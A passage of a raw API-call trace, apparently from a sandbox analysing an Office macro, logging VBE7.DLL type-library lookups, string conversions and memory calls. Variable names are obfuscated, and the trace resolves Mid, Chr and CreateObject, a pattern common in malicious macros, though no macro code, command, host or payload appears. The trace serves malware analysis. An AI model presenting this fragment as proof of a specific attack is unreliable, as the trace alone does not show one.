[0071.712] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_cveWbAMHkaKPxxXoabDAe", lHashVal=0x30879e, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.712] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.712] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.712] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_cveWbAMHkaKPxxXoabDAe", lHashVal=0x30879e, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.712] IUnknown:Release (This=0x28857594370) returned 0xc [0071.712] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.712] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_cveWbAMHkaKPxxXoabDAe", lHashVal=0x30879e, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.712] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.712] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.712] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_cveWbAMHkaKPxxXoabDAe", lHashVal=0x30879e, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.712] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.712] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.712] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e703ee, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_cveWbAMHkaKPxxXoabDAe") returned 29 [0071.713] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_cveWbAMHkaKPxxXoabDAe", lHashVal=0x30879e, wFlags=0x3, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x63005f00720061, ppTypeComp=0x62005700000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x63005f00720061, ppTypeComp=0x62005700000000, pDummy=0x0) returned 0x0 [0071.713] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e63c8e | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.713] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da95a90) [0071.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da999dc, cbMultiByte=2, lpWideCharStr=0x28861813dc6, cchWideChar=6 | out: lpWideCharStr="&H") returned 2 [0071.713] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc930 [0071.713] _mbscpy_s (in: _Dst=0x2885dacc930, _DstSizeInBytes=0x4, _Src=0x28860e6133a | out: _Dst=0x2885dacc930) returned 0x0 [0071.713] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Mid") returned 0x3070ed [0071.713] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.713] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.713] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.713] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.713] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.713] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.713] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc930) [0071.713] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x28861820000 [0071.714] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.714] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.714] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.714] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.714] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.714] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.714] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.714] IUnknown:AddRef (This=0x2885d6296c8) returned 0x3 [0071.714] IUnknown:Release (This=0x2885d6296c8) returned 0x2 [0071.714] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.714] IUnknown:QueryInterface (in: This=0x2885d6296c8, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.714] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d6296c8, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.714] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.714] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.714] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.714] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.715] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.715] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc7b0 [0071.715] _mbscpy_s (in: _Dst=0x2885dacc7b0, _DstSizeInBytes=0x4, _Src=0x28860e638a2 | out: _Dst=0x2885dacc7b0) returned 0x0 [0071.715] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.715] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.715] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.715] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.715] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.715] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.715] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.715] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc7b0) [0071.715] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.715] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.715] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.715] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.715] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.715] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.715] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.715] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="wfwuNPCQcelqRAcVSQhuF") returned 0x40a61d [0071.715] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="wfwuNPCQcelqRAcVSQhuF" | out: _Dst="wfwuNPCQcelqRAcVSQhuF") returned 0x0 [0071.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="wfwuNPCQcelqRAcVSQhuF") returned 22 [0071.715] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.715] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="wfwuNPCQcelqRAcVSQhuF", lHashVal=0x40a61d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.715] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.715] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.715] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="wfwuNPCQcelqRAcVSQhuF", lHashVal=0x40a61d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.715] IUnknown:Release (This=0x28857594370) returned 0xc [0071.715] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.716] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="wfwuNPCQcelqRAcVSQhuF", lHashVal=0x40a61d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.716] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.716] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.716] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="wfwuNPCQcelqRAcVSQhuF", lHashVal=0x40a61d, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.716] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e63cc6, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="wfwuNPCQcelqRAcVSQhuF") returned 22 [0071.716] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="wfwuNPCQcelqRAcVSQhuF", lHashVal=0x3027d4, wFlags=0x5, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da96450 [0071.716] _mbscpy_s (in: _Dst=0x2885da96450, _DstSizeInBytes=0x16, _Src=0x28860e63cc6 | out: _Dst=0x2885da96450) returned 0x0 [0071.716] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_wfwuNPCQcelqRAcVSQhuF") returned 0x30a77d [0071.716] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_wfwuNPCQcelqRAcVSQhuF" | out: _Dst="_B_var_wfwuNPCQcelqRAcVSQhuF") returned 0x0 [0071.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_wfwuNPCQcelqRAcVSQhuF") returned 29 [0071.716] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.716] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_wfwuNPCQcelqRAcVSQhuF", lHashVal=0x30a77d, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.716] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.716] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.716] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_wfwuNPCQcelqRAcVSQhuF", lHashVal=0x30a77d, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.716] IUnknown:Release (This=0x28857594370) returned 0xc [0071.716] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.716] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_wfwuNPCQcelqRAcVSQhuF", lHashVal=0x30a77d, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.716] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.716] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.716] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_wfwuNPCQcelqRAcVSQhuF", lHashVal=0x30a77d, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.716] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.716] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.717] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e7042e, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_wfwuNPCQcelqRAcVSQhuF") returned 29 [0071.717] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_wfwuNPCQcelqRAcVSQhuF", lHashVal=0x30a77d, wFlags=0x5, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x77005f00720061, ppTypeComp=0x4e007500000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x77005f00720061, ppTypeComp=0x4e007500000000, pDummy=0x0) returned 0x0 [0071.717] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e63cc6 | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.717] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da96450) [0071.717] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.717] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.717] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.717] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.717] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.717] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.717] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.717] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.717] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.717] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.717] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb) returned 0x2885dacc2b0 [0071.717] _mbscpy_s (in: _Dst=0x2885dacc2b0, _DstSizeInBytes=0x4, _Src=0x28860e638a2 | out: _Dst=0x2885dacc2b0) returned 0x0 [0071.717] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_Chr") returned 0x303b5c [0071.717] IUnknown:AddRef (This=0x2885d4c6250) returned 0xc [0071.718] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.718] IUnknown:AddRef (This=0x2885d629670) returned 0x5 [0071.718] IUnknown:Release (This=0x2885d629670) returned 0x4 [0071.718] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.718] IUnknown:QueryInterface (in: This=0x2885d629670, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.718] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885dacc2b0) [0071.718] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.718] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.718] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.718] IUnknown:Release (This=0x2885d4c6250) returned 0xb [0071.718] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.718] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.718] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e62dfe, cbMultiByte=13, lpWideCharStr=0xbcb38f49a0, cchWideChar=14 | out: lpWideCharStr="CreateObject") returned 13 [0071.718] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="CreateObject", lHashVal=0x308af8, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x2885d629828, pDescKind=0xbcb38f496c*=1, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0071.718] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d629828, ppTypeAttr=0xbcb38f4960, pDummy=0x2885d65fc40 | out: ppTypeAttr=0xbcb38f4960, pDummy=0x2885d65fc40*=0x6e0000) returned 0x0 [0071.718] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d629828) returned 0x0 [0071.719] SysStringByteLen (bstr="") returned 0x0 [0071.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0xbcb38f46d0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0H\x8f³¼", lpUsedDefaultChar=0x0) returned 0 [0071.719] IUnknown:QueryInterface (in: This=0x2885d629828, riid=0x7ff9bdefa878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbcb38f4700 | out: ppvObject=0xbcb38f4700*=0x2885d629828) returned 0x0 [0071.719] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x2885d629828, memid=1610612738, invkind=1, pFuncIndex=0xbcb38f46f8 | out: pFuncIndex=0xbcb38f46f8*=0x2) returned 0x0 [0071.719] ITypeInfo2:GetParamCustData (in: This=0x2885d629828, indexFunc=0x2, indexParam=0x1, GUID=0x7ff9bdf088b0*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0xbcb38f4708 | out: pVarVal=0xbcb38f4708*(varType=0x0, wReserved1=0x5d65, wReserved2=0x288, wReserved3=0x0, varVal1=0x2885da39af0, varVal2=0xbcb38f5418)) returned 0x0 [0071.719] IUnknown:Release (This=0x2885d629828) returned 0x1 [0071.719] IUnknown:QueryInterface (in: This=0x2885d629828, riid=0x7ff9bdefa878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbcb38f47c0 | out: ppvObject=0xbcb38f47c0*=0x2885d629828) returned 0x0 